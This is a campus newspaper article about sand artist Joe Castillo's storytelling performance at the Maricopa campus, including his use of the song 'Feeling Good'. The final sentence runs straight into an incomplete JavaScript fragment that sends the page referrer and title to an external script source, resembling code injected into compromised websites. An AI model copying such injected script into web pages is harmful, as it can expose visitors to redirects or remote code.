An Interesting Marriage of Art and Technology: An Evening with Joe Castillo

Socorro Carrillo, Cactus Editor

The Maricopa campus was treated to a unique showing of talent on the evening of January 21st. You may recognize his face from popular television show America’s Got Talent, however Joe Castillo has been showing his unique brand of storytelling for much longer. For those who don’t know, Joe Castillo is a sand artist. He uses an interesting mix of music, a projector, and miniscule grains of sand to weave spectacular stories that captivate the viewer.

Castillo has traveled far and wide to bring his eclectic “stories” to the masses. However, for one night he chose to bring them to small-town Maricopa. Castillo’s show had nary an empty seat and each viewer left feeling as if they had just had a chat with an old friend. For the Wednesday night showing, Castillo put together 5 different stories, the themes ranging from nature to patriotism to faith.

As he turns smiles into frowns and graceful birds into regal lions, Castillo’s careful touch can be seen in every aspect of his show. Nothing in Castillo’s show happens by chance; he carefully crafts each show into an experience. Because of this, Castillo’s collection of stories each had an accompanying song that expanded the meaning even further. For example, Castillo told a story of someone finally becoming free. He was careful not to emphasize what they were exactly free from. The song he used was “Feeling Good” made famous by Nina Simone and covered by Michael Buble. This particular song has a profound history—originally written for the London stage play, The Roar of the Greasepaint – The Smell of the Crowd, the song is symbolic of a prisoner’s liberation.

Castillo’s performance is something that a person can only witness first hand, never as a chopped and screwed YouTube video, as many have seen before. This is because Castillo not only invites his audience to witness the work of a true raconteur, but also be a witness to Castillo’s exceptional journey as a person.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;